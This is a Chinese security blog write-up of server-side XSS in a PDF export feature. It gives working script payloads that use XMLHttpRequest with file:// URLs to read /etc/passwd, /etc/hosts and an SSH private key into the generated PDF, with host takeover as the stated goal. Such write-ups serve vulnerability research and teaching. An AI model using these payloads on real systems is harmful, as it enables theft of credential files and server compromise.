XSS漏洞_从PDF中获取数据 - 爱吃猫的闲鱼

admin 2021年12月31日15:10:37评论212 views字数 1351阅读4分30秒阅读模式

一 前言

作为一名漏洞复现工程师的我在试图挖掘XSS漏洞时,不论是正常的输入payload触发XSS还是通过导入xls、pdf等文件进行解析或者自己输出内容生成xls pdf文件时触发XSS,总喜欢浅尝辄止,看到触发了XSS漏洞就可以了。有时候多想一步看看是否可以结合本地文件包含或者SSRF漏洞,实现漏洞利用的最大化。

二 准备阶段

这是一个读者可以上传图书内容的功能,读者在前台上传了之后会在后台生成一个PDF文件,一般情况下基于用户输入生成PDF文件的地方可能容易受到XSS的攻击,从而泄露服务器的敏感数据。

用户可以在该处输入书名、作者,以及上传图书内容
XSS漏洞_从PDF中获取数据 -  爱吃猫的闲鱼
用户上传之后会在后台生成一个包含书名 作者 书的内容链接的pdf文件
XSS漏洞_从PDF中获取数据 -  爱吃猫的闲鱼
一般的测试步骤如下
1 找到可控的输入
2 尝试对输入进行HTML标记,看是否可以解析HTML
3 测试不同的协议(比如file http https),尝试读取内部文件(这是最重要的,探测到使用的是什么协议才方便来读物内部文件)
4 使用JS注入来读取内部文件

三 漏洞利用

根据上面的步骤一步步来
在输入框输入

r3dbucket

XSS漏洞_从PDF中获取数据 -  爱吃猫的闲鱼
相关数据包如下
XSS漏洞_从PDF中获取数据 -  爱吃猫的闲鱼
然后在后台生成了一个PDF文件,我们打开PDF,可以看到HTML的标签被解析了
XSS漏洞_从PDF中获取数据 -  爱吃猫的闲鱼
基础有了,感觉有戏,写个XSS payload,增强下信心

<img src="x" onerror="document.write('test')" />

XSS漏洞_从PDF中获取数据 -  爱吃猫的闲鱼
内心毫无激动,常规操作了(内心慌的很,生怕在进行各种绕过)
XSS漏洞_从PDF中获取数据 -  爱吃猫的闲鱼
接下来探测下使用的是什么协议,方便进行文件的读取操作

<script>document.write(document.location.href)</script>

XSS漏洞_从PDF中获取数据 -  爱吃猫的闲鱼
可以看到用的是file协议,然后构造payload进行文件的读取,读取下hosts文件和passwd文件,构造payload如下

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(GET,file:///etc/hosts’);x.send();</script>

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open(GET,file:///etc/passwd’);x.send();</script>

可以看到我们的payload是成功的,成功读取到了hosts文件和passwd文件的内容
XSS漏洞_从PDF中获取数据 -  爱吃猫的闲鱼
XSS漏洞_从PDF中获取数据 -  爱吃猫的闲鱼
拿下主机权限是我们的最终目标,尝试去读取id_rsa

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

XSS漏洞_从PDF中获取数据 -  爱吃猫的闲鱼
接下来就是进行图片文字识别,然后进行登录了。

四 总结

这个漏洞可以看成是回显的吧,可以通过下载PDF来看,不必要在通过外带技术来看是否成功了,总之单个漏洞的危害也许有限,组合拳的危害就大了,学习之路任重道远呀。

BY:先知论坛

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年12月31日15:10:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   XSS漏洞_从PDF中获取数据 - 爱吃猫的闲鱼https://cn-sec.com/archives/710603.html

发表评论

匿名网友 填写信息